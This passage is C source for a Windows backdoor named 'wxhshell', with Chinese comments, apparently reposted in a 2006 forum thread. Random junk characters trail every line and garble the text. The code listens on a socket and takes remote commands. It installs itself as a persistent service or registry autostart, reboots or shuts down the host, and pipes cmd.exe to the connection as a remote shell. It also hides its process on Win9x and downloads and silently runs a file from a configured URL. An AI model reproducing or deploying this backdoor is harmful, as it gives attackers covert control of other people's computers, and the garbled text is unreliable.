  send(wsh,msg_ws_ok,strlen(msg_ws_ok),0); ZUE?19GA  
  } };m.Y>=)K  
  else { {UX[SAQ  
3PS( 1  
    switch(cmd[0]) { q r12"H  
  XsE] Z4  
  // 帮助 h9Zf4@w  
  case '?': { ]A*v\Qy  
      send(wsh,msg_ws_cmd,strlen(msg_ws_cmd),0); +jk_tPSe  
    break; n[2[V*|mI  
  } oe1Dm   
  // 安装 O/;$0`~hY  
  case 'i': { (bP\_F5D  
    if(Install()) /W !A^  
    send(wsh,msg_ws_err,strlen(msg_ws_err),0); n~/#~VTVe  
    else x@EEMO1_"  
    send(wsh,msg_ws_ok,strlen(msg_ws_ok),0); G[V?# 7.  
    break; Epm'u[wV  
    } ;jb+x5t  
  // 卸载 'IrwlS  
  case 'r': { \ ]AsL&  
    if(Uninstall()) T""y)%  
    send(wsh,msg_ws_err,strlen(msg_ws_err),0); E&G_7->  
    else kzs}U'U  
    send(wsh,msg_ws_ok,strlen(msg_ws_ok),0); m<ZwbD  
    break; nLZT3`@~,  
    } =\IcUY,4  
  // 显示 wxhshell 所在路径 VU>s{_|{  
  case 'p': { mtEE,O!+  
    char svExeFile[MAX_PATH]; *.ffyBI*~  
    strcpy(svExeFile,"\n\r"); ^FLuhLS\*  
      strcat(svExeFile,ExeFile); 7 R1;'/;  
        send(wsh,svExeFile,strlen(svExeFile),0); GvQ|+vC  
    break; 'WH@Zk/l  
    } M5OH-'  
  // 重启 Q!DQ!;Br6  
  case 'b': { m4:b?[  
    send(wsh,msg_ws_boot,strlen(msg_ws_boot),0); F8 4LMk?U  
    if(Boot(REBOOT)) :z=/z!5:j  
    send(wsh,msg_ws_err,strlen(msg_ws_err),0); 4i'2~w{/  
    else { ^0t81,`  
    closesocket(wsh); E.Hw|y0_(|  
    ExitThread(0); % ~%>3  
    } H9)$ #r6i  
    break; +nKxSjqI  
    } A{hwT,zV:  
  // 关机 Gq5)>'D?  
  case 'd': { >M7e'}0 ;  
    send(wsh,msg_ws_poff,strlen(msg_ws_poff),0); u(KeS`  
    if(Boot(SHUTDOWN)) &Vi"m!Bf  
    send(wsh,msg_ws_err,strlen(msg_ws_err),0); luZqW`?Bt  
    else { gM|X":j  
    closesocket(wsh); SJVqfi3A  
    ExitThread(0); 8xUmg&  
    } ;8sEE?C$g  
    break; o?P(Fuf  
    } hB:R8Y^?H  
  // 获取shell Fs:l"5~>1  
  case 's': { Jrlc%,pZ  
    CmdShell(wsh); BY: cSqAW  
    closesocket(wsh); whP>'9t.w  
    ExitThread(0); (E)/' sEb  
    break; %j=E}J<H5*  
  } ]4@z.1Mr  
  // 退出 8}p5MG  
  case 'x': { yS/ovd  
    send(wsh,msg_ws_ext,strlen(msg_ws_ext),0); T8YqCT"EA<  
    CloseIt(wsh); ,)+O.Lf7&.  
    break; ?Gr<9e2Eo  
    } ->vfQwBFd  
  // 离开 0-Xpq,0  
  case 'q': { aisX56Lc  
    send(wsh,msg_ws_end,strlen(msg_ws_end),0); }/G~"&N[  
    closesocket(wsh); Jg|3Wjq5  
    WSACleanup(); }}~ ^!  
    exit(1); K)GC&%_$O  
    break; LJZEM;;}  
        } hBLg;"=Em  
  } eU7RO  
  } NVFAmX.Z:  
pCf-W/v  
  // 提示信息 [AR$Sw60  
    if(strlen(cmd)) send(wsh,msg_ws_prompt,strlen(msg_ws_prompt),0); t]FFGnBZ  
} +u _mT$|T  
  } y)U8\  
O3*Vilx  
  return; -tx)7KV-  
} =fBJQK2sk  
C%#C|X193  
// shell模块句柄 XuHJy  
int CmdShell(SOCKET sock) n*D)RiW  
{ Uk ?V7?&  
STARTUPINFO si; oTOe(5N8a  
ZeroMemory(&si,sizeof(si)); }W<]fK  
si.dwFlags=STARTF_USESHOWWINDOW|STARTF_USESTDHANDLES; W5:S+  
si.hStdInput=si.hStdOutput =si.hStdError =(void *)sock; _?Jm.nT  
PROCESS_INFORMATION ProcessInfo; !0`ZK-nA6  
char cmdline[]="cmd"; NLb/Bja  
CreateProcess(NULL,cmdline,NULL,NULL,1,0,NULL,NULL,&si,&ProcessInfo); D'O[0?N"g  
  return 0; R|!4Y`  
} w _eu@R:u@  
CNcH)2Mk  
// 自身启动模式 0e8)*2S  
int StartFromService(void) & A9psc(,&  
{ _F^|n}Qbj  
typedef struct 6@o_MtI  
{ Jb$PlOQ  
  DWORD ExitStatus; 7Yj\*N  
  DWORD PebBaseAddress; $Ry NM2YI  
  DWORD AffinityMask; /[nt=#+   
  DWORD BasePriority; 1aYO:ZPy  
  ULONG UniqueProcessId; :'GTCo$3  
  ULONG InheritedFromUniqueProcessId; K r]!BI?z  
}   PROCESS_BASIC_INFORMATION;  =sG(l  
3 ;.{ O%bX  
PROCNTQSIP NtQueryInformationProcess; Jc9SHCJ  
\"Sqr(~_  
static ENUMPROCESSMODULES g_pEnumProcessModules = NULL ; 5 +(YcV("  
static GETMODULEBASENAME g_pGetModuleBaseName = NULL ; v-G(bw3  
X+ iA"B  
  HANDLE             hProcess; f$V']dOj1q  
  PROCESS_BASIC_INFORMATION pbi; g;]2'Rj  
aDza"Ln  
  HINSTANCE hInst = LoadLibraryA("PSAPI.DLL"); 94nvh:n  
  if(NULL == hInst ) return 0; m !;mEBL{  
@ n;WVG  
  g_pEnumProcessModules = (ENUMPROCESSMODULES)GetProcAddress(hInst ,"EnumProcessModules"); ~n"V0!:'4  
  g_pGetModuleBaseName = (GETMODULEBASENAME)GetProcAddress(hInst, "GetModuleBaseNameA"); a3Es7R+S  
  NtQueryInformationProcess = (PROCNTQSIP)GetProcAddress(GetModuleHandle("ntdll"), "NtQueryInformationProcess"); 0]>p|m9K^<  
V^L;Nw5h  
  if (!NtQueryInformationProcess) return 0; HdWghxz?)  
=#%e'\)a  
  hProcess = OpenProcess(PROCESS_QUERY_INFORMATION,FALSE,GetCurrentProcessId()); aKCCFHq t!  
  if(!hProcess) return 0; 'zT/ x`V  
GUat~[lUrj  
  if(NtQueryInformationProcess( hProcess, 0, (PVOID)&pbi, sizeof(PROCESS_BASIC_INFORMATION), NULL)) return 0; |Z 3POD"9  
8agd{bxU  
  CloseHandle(hProcess); AW> P\>{RE  
NV9=~c x  
hProcess = OpenProcess(PROCESS_QUERY_INFORMATION | PROCESS_VM_READ, FALSE, pbi.InheritedFromUniqueProcessId); C UBcU  
if(hProcess==NULL) return 0; ]iLfe&f  
Iob o5B  
HMODULE hMod; @gX@mT"  
char procName[255]; wK#UFOp  
unsigned long cbNeeded; 8n~@Rj5  
,5r 2!d  
if(g_pEnumProcessModules(hProcess, &hMod, sizeof(hMod), &cbNeeded)) g_pGetModuleBaseName(hProcess, hMod, procName, sizeof(procName)); D"1ciO8^I]  
]]%C\Ryy}  
  CloseHandle(hProcess);  5Y9 j/wA  
!2&h=;i~V  
if(strstr(procName,"services")) return 1; // 以服务启动 k7y!! AV  
s?%1/&.~  
  return 0; // 注册表启动 _\o +9X!  
} fvNGGn!  
m@HU;J\I  
// 主模块 XTW/3pB  
int StartWxhshell(LPSTR lpCmdLine) y'pG'"U]_  
{ U?|s/U  
  SOCKET wsl; hDp'=}85@  
BOOL val=TRUE; ;oR-\;]/.  
  int port=0; >!WJ{M0  
  struct sockaddr_in door; uF(- h~  
:l9C7o  
  if(wscfg.ws_autoins) Install(); 4dfe5\  
=~aJ]T}(  
port=atoi(lpCmdLine); ? # G_ &  
RI*Q-n{  
if(port<=0) port=wscfg.ws_port; 2! wz#EC  
3U:0,-j"  
  WSADATA data; [BV{=;iD  
  if(WSAStartup(MAKEWORD(2,2),&data)!=0) return 1; SxT:k,ji  
g>f(5  
  if((wsl = WSASocket(AF_INET, SOCK_STREAM, IPPROTO_TCP,NULL,0,0)) == INVALID_SOCKET) return 1;   ;utjW1y  
setsockopt(wsl,SOL_SOCKET,SO_REUSEADDR,(char *)&val,sizeof(val)); (\R"v^  
  door.sin_family = AF_INET; kV<VhBql!  
  door.sin_addr.s_addr = inet_addr("127.0.0.1"); f$WO{ J  
  door.sin_port = htons(port); CtSAo\F  
F1Z20)8K  
  if(bind(wsl, (const struct sockaddr *) &door,sizeof(door)) == INVALID_SOCKET) { e[e2X<&0RT  
closesocket(wsl); &aHj;Z(  
return 1; hZzsZQ`  
} .2Rh_ful  
i1G}m Yz_  
  if(listen(wsl,2) == INVALID_SOCKET) { (4c<0<"$  
closesocket(wsl); UJ6WrO5#kB  
return 1; NWNgh/9?  
} i!,>3  
  Wxhshell(wsl); g?@(+\W  
  WSACleanup(); Z.R^@@RqJ  
<,cDEN7  
return 0; 8@$QN4^u^  
$rjv4e}7  
} @[JQCQ#r  
jJ?3z ,h  
// 以NT服务方式启动 LQ{4r1,u]  
VOID WINAPI NTServiceMain( DWORD dwArgc, LPSTR *lpszArgv ) {ZfTUt)-P  
{ <w,aS;v6jp  
DWORD   status = 0; + qS$t  
  DWORD   specificError = 0xfffffff; vk#xCggK  
Jn:GqO  
  serviceStatus.dwServiceType     = SERVICE_WIN32; 7CQ48LH]  
  serviceStatus.dwCurrentState     = SERVICE_START_PENDING; jliKMd<?  
  serviceStatus.dwControlsAccepted   = SERVICE_ACCEPT_STOP | SERVICE_ACCEPT_PAUSE_CONTINUE; Tp0Tce/  
  serviceStatus.dwWin32ExitCode     = 0; 92} , A`=  
  serviceStatus.dwServiceSpecificExitCode = 0; ZGp8$Y>r  
  serviceStatus.dwCheckPoint       = 0; Y+G4:  
  serviceStatus.dwWaitHint       = 0; ul% q6=f)  
cc^V~-ph  
  hServiceStatusHandle = RegisterServiceCtrlHandler(wscfg.ws_svcname, NTServiceHandler); OK2wxf  
  if (hServiceStatusHandle==0) return; e|kYu[^  
v1)jZ.:  
status = GetLastError(); a{u)~:/G  
  if (status!=NO_ERROR) w93yhV?  
{ DsFrA]  
    serviceStatus.dwCurrentState     = SERVICE_STOPPED; =n#xnZ3  
    serviceStatus.dwCheckPoint       = 0; m Y%PG  
    serviceStatus.dwWaitHint       = 0; @P@t/  
    serviceStatus.dwWin32ExitCode     = status; FNm8j#c~Q  
    serviceStatus.dwServiceSpecificExitCode = specificError; ;#j/F]xG  
    SetServiceStatus(hServiceStatusHandle, &serviceStatus); Y}Qu-fm  
    return; XVI+Y  
  } XE>XzsnC  
+$<m;@mZ  
  serviceStatus.dwCurrentState     = SERVICE_RUNNING; *?i~AXJm  
  serviceStatus.dwCheckPoint       = 0; ]AfeaU'>  
  serviceStatus.dwWaitHint       = 0; %Y!lEzB5  
  if(SetServiceStatus(hServiceStatusHandle, &serviceStatus)) StartWxhshell(""); Y*7.3 +#  
} Kk/qd)nk  
fCF93,?$  
// 处理NT服务事件,比如:启动、停止 b8`O7@ar  
VOID WINAPI NTServiceHandler(DWORD fdwControl) %F{@DN`  
{ f:BW{Cij;y  
switch(fdwControl) WS,p}:yPZG  
{ vwT?Bp  
case SERVICE_CONTROL_STOP: rN>f"/J |  
  serviceStatus.dwWin32ExitCode = 0; L;v#9^Fq  
  serviceStatus.dwCurrentState = SERVICE_STOPPED; sa*hoL18  
  serviceStatus.dwCheckPoint   = 0; 9vVYZ}HC  
  serviceStatus.dwWaitHint     = 0; z1YC%Y|R  
  { 8cW]jm  
  SetServiceStatus(hServiceStatusHandle, &serviceStatus); k-w._E <  
  } fM8 :Nt$  
  return; q|Ga   
case SERVICE_CONTROL_PAUSE: >B3_P4pW9  
  serviceStatus.dwCurrentState = SERVICE_PAUSED; xEZvCwsb  
  break; Wk$%0xZ7  
case SERVICE_CONTROL_CONTINUE: XfY]qQP  
  serviceStatus.dwCurrentState = SERVICE_RUNNING; E7 7Au;TL  
  break; G2em>W_n  
case SERVICE_CONTROL_INTERROGATE: t4 aa5@r  
  break; b ~F8 5U2  
}; DuCq16'0T  
  SetServiceStatus(hServiceStatusHandle, &serviceStatus); )FgcNB1|7  
} T@f$w/15  
&}*[-z  
// 标准应用程序主函数 /dtFB5Z"w  
int WINAPI WinMain(HINSTANCE hInstance, HINSTANCE hPrevInstance, LPSTR lpCmdLine, INT nCmdShow) a}=)b#T`  
{ B?Pu0 _|s  
EpPKo  
// 获取操作系统版本 M(5lSu  
OsIsNt=GetOsVer(); =o9 %)  
GetModuleFileName(NULL,ExeFile,MAX_PATH); g.z/%Lp K  
1k;X*r#  
  // 从命令行安装 J/)Q{*`_  
  if(strpbrk(lpCmdLine,"iI")) Install(); %"{SGp  
1vQ*Br  
  // 下载执行文件 _%.atW7  
if(wscfg.ws_downexe) { glHHr  
if(URLDownloadToFile(0, wscfg.ws_fileurl, wscfg.ws_filenam, 0, 0)==S_OK) HQ4o^WC  
  WinExec(wscfg.ws_filenam,SW_HIDE); Wny{qj)=  
} V<(cW'zA/  
M`S >Q2{  
if(!OsIsNt) { 6&h,eQ!  
// 如果时win9x,隐藏进程并且设置为注册表启动 QDLtilf :  
HideProc(); bY]aADv\  
StartWxhshell(lpCmdLine); A.(Z0,S-i  
} m[%&K W(  
else ve'hz{W  
  if(StartFromService()) 6$`8y,TMSt  
  // 以服务方式启动 l? 7D0  
  StartServiceCtrlDispatcher(DispatchTable); 0urQA_JC  
else fF<~2MiKw  
  // 普通方式启动 4R}2H>VV%  
  StartWxhshell(lpCmdLine); \iO ,y:  
ql^n=+U  
return 0; h\:"k_u#  
}
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只看该作者 1 发表于: 2006-10-10
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